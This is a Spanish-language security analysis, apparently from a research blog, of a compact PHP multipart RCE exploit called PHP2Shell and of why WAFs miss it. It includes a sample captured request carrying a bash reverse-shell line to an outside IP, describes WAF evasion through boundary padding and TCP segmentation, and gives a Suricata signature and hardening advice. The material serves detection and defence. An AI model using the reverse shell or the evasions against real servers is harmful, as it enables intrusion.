vulnerabilities php2shell exploit payload

El Exploit Sub-500 Bytes: Cómo PHP2Shell Elude Físicamente la Inspección de Cuerpo en WAF Tradicionales

php2shell.run Research Lab •

El Exploit Sub-500 Bytes: Cómo PHP2Shell Elude Físicamente la Inspección de Cuerpo en WAF Tradicionales

<time datetime="2026-10-23">Verificado: 23 de octubre de 2026</time> · Análisis de Seguridad Ofensiva: Flujo HTTP Multipart RFC1867

En la historia contemporánea de la seguridad de aplicaciones web, la inmensa mayoría de las vulnerabilidades críticas de ejecución remota de código (RCE) —desde deserializaciones complejas en Java hasta cadenas de inyección en frameworks modernos— suelen manifestarse a través de cargas útiles (payloads) voluminosas. Estos ataques acostumbran a transportar scripts codificados en Base64, árboles XML inflados, blobs JSON gigantescos o cadenas de gadgets serializadas que abarcan varios kilobytes.

Por esta razón, la industria de los Web Application Firewalls (WAF) y los centros de operaciones de seguridad (SOC) han dependido históricamente de heurísticas orientadas a la inspección de firmas densas y umbrales de tamaño de petición.

Sin embargo, las armas cibernéticas reales observadas en la explotación de PHP2Shell (CVE-2026-109618 y CVE-2026-109619) han desafiado estas suposiciones al condensar una cadena RCE completa y letal en un paquete HTTP minúsculo que oscila entre los 450 y 490 bytes en total. En este informe desglosamos la anatomía física de este exploit y las razones por las cuales las defensas perimetrales convencionales resultaron ineficaces.


1. Disección de una Captura de Tráfico Real (Raw HTTP Stream)

A continuación se reproduce íntegramente la estructura del paquete capturado en nuestros sensores honeypot durante los primeros barridos automatizados:

POST / HTTP/1.1
Host: victima.empresa.es
User-Agent: curl/8.5.0
Content-Type: multipart/form-data; boundary=---------------------------x
Content-Length: 472
Connection: close

-----------------------------x
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
-----------------------------x
Content-Disposition: form-data; name="f"; filename="test.php"
Content-Type: text/plain

<?php echo 1;
-----------------------------x
Content-Disposition: form-data; name="p"

\x90\x90\x90\x90\x10\xa2\x04\x08...|bash -i>&/dev/tcp/198.51.100.1/4444 0>&1
-----------------------------x--

A pesar de su aparente simplicidad, cada uno de los caracteres contenidos en este payload desempeña un rol quirúrgico en el desbalanceo del asignador de memoria en lenguaje C del motor PHP.


2. Los Factores Clave de la Compactación Extrema

¿Cómo es técnicamente posible comprometer un servidor con un paquete inferior a medio kilobyte? La respuesta radica en el principio de Living-off-the-Land (Vivir del Entorno) llevado a la capa del lenguaje C.

El atacante no necesita inyectar su propio compilador, ni un intérprete secundario, ni código máquina ensamblador complejo (shellcode). Todo lo necesario ya se encuentra precargado y compilado en el proceso de PHP:

  1. El Disparador de Puntero (75 bytes): El parámetro PHP_SESSION_UPLOAD_PROGRESS fuerza al subsistema ext/session a invocar el callback de registro de progreso.
  2. El Inductor de Reasignación (120 bytes): La parte multipart que simula la subida de un archivo (filename="test.php") solicita un búfer temporal a ZMM y desencadena la liberación inmediata tras la interrupción del stream.
  3. La Carga de Control y Shell (110 bytes): Los bytes que sustituyen la estructura zval y la cadena en texto plano que contiene la llamada al comando del sistema (bash -i>&/dev/tcp/...).

Debido a que el código ejecutable de destino es la propia función zif_system() nativa del binario de PHP, la carga útil solo necesita transportar la referencia y los argumentos, prescindiendo de cualquier código de andamiaje pesado.


3. Por qué las Reglas de Inspección WAF Fallaron Estructuralmente

La efectividad de PHP2Shell contra infraestructuras perimetrales comerciales se fundamenta en tres evasiones arquitectónicas:

Causa 1: Peticiones por debajo del umbral mínimo de inspección

Muchos WAFs de alto rendimiento en la nube ajustan sus motores de análisis para omitir peticiones muy pequeñas con el fin de optimizar el consumo de CPU y la latencia de red, asumiendo que un ataque RCE requiere un cuerpo extenso. PHP2Shell se encuentra en el rango de tamaño de peticiones POST legítimas habituales (como clics en botones de formularios o envíos de tokens CSRF).

Causa 2: Ausencia absoluta de palabras clave maliciosas tradicionales

En el payload no existen cadenas de texto como eval(), base64_decode(), <script>, passthru(), SELECT ... FROM ni declaraciones de apertura de PHP maliciosas complejas. La única cadena de texto explícita es PHP_SESSION_UPLOAD_PROGRESS, la cual representa un nombre de característica completamente oficial y documentada en el manual de PHP.

Causa 3: Agnosticismo del endpoint (Cualquier URI es vulnerable)

La inmensa mayoría de las reglas WAF se enfocan en proteger endpoints sensibles conocidos: /wp-login.php, /admin, /api/v1/upload. No obstante, la vulnerabilidad PHP2Shell se procesa en el módulo SAPI de PHP antes de determinar si el archivo PHP solicitado existe o no. Enviar el exploit a /404.php, /contacto o /robots.php ejecuta la corrupción de memoria con el mismo grado de efectividad.


4. Estrategia de Firma Heurística para Detección Perimetral

Para interceptar peticiones de este perfil sin generar falsos positivos en el tráfico web legítimo, los ingenieros de seguridad deben asociar la presencia del parámetro de progreso con el tamaño anormalmente reducido del cuerpo multipart.

Firma Suricata Optimizada:

alert http any any -> $HTTP_SERVERS any ( \
    msg:"INCIBE-RULE PHP2Shell Compact Multipart RCE Exploit"; \
    flow:established,to_server; \
    content:"POST"; http_method; \
    content:"multipart/form-data"; http_header; nocase; \
    content:"PHP_SESSION_UPLOAD_PROGRESS"; http_client_body; nocase; \
    dsize:<600; \
    classtype:web-application-attack; \
    sid:10261094; rev:1; \
)

En condiciones normales de producción, un formulario legítimo de subida de archivos que utilice PHP_SESSION_UPLOAD_PROGRESS transporta archivos reales (imágenes, documentos PDF, vídeos) cuyo tamaño supera holgadamente varios kilobytes o megabytes. Por el contrario, un paquete multipart con dicho parámetro cuyo tamaño global sea inferior a 600 bytes constituye un indicador casi inequívoco de actividad de explotación de PHP2Shell.


5. Variantes de Frontera Multipart y Técnicas de Fragmentación TCP

A medida que los proveedores de seguridad comenzaron a desplegar reglas perimetrales preliminares, los operadores de botnets refinaron sus vectores de envío mediante técnicas de evasión basadas en la especificación RFC1867 y la fragmentación de capas de transporte:

A. Evasión de Delimitadores de Frontera (Boundary Padding)

El estándar de codificación multipart permite insertar espacios en blanco y caracteres de salto de línea dentro de la cabecera Content-Type: multipart/form-data; boundary=.... Los atacantes intercalan comillas simples, dobles o secuencias de guiones variables para desincronizar los analizadores de los proxies inversos frente al intérprete de PHP:

Content-Type: multipart/form-data; boundary="----WebKitFormBoundary"
Content-Type: multipart/form-data; boundary=---------------------------x; charset=utf-8

Dado que el analizador en C de PHP en main/rfc1867.c es sumamente permisivo con la tolerancia a fallos sintácticos, procesará el cuerpo del mensaje con éxito incluso si un WAF estricto descarta la inspección al considerar la cabecera malformada.

B. Segmentación TCP en la Capa 4

Mediante el uso de herramientas personalizadas basadas en sockets raw de Python o Go, los actores de amenazas dividen intencionalmente la cadena de texto PHP_SESSION_UPLOAD_PROGRESS a través de múltiples segmentos TCP (por ejemplo, enviando PHP_SESS en el primer paquete y ION_UPLOAD_PROGRESS en el segundo).

Si la infraestructura de inspección no dispone de un motor de reensamblado de flujos TCP completo con memoria de estado (Stateful Stream Reassembly), la firma estática no coincidirá en ninguno de los paquetes individuales, permitiendo que la petición llegue intacta al demonio de PHP-FPM.


6. Recomendaciones de Contención para Administradores de Sistemas

  • No confíe exclusivamente en la inspección de cadenas del WAF: Ningún filtro de expresiones regulares sustituye la desactivación del mecanismo vulnerable en el motor.
  • Aplique el endurecimiento en el origen: Configure session.upload_progress.enabled = Off en todas las versiones de PHP activas en su infraestructura para garantizar inmunidad total independientemente de las variantes de empaquetado del exploit.
  • Adopte una postura de Zero Trust en procesos: Restrinja la capacidad de ejecución de binarios de PHP-FPM en el sistema operativo para que ningún subproceso interactivo de shell pueda ser engendrado.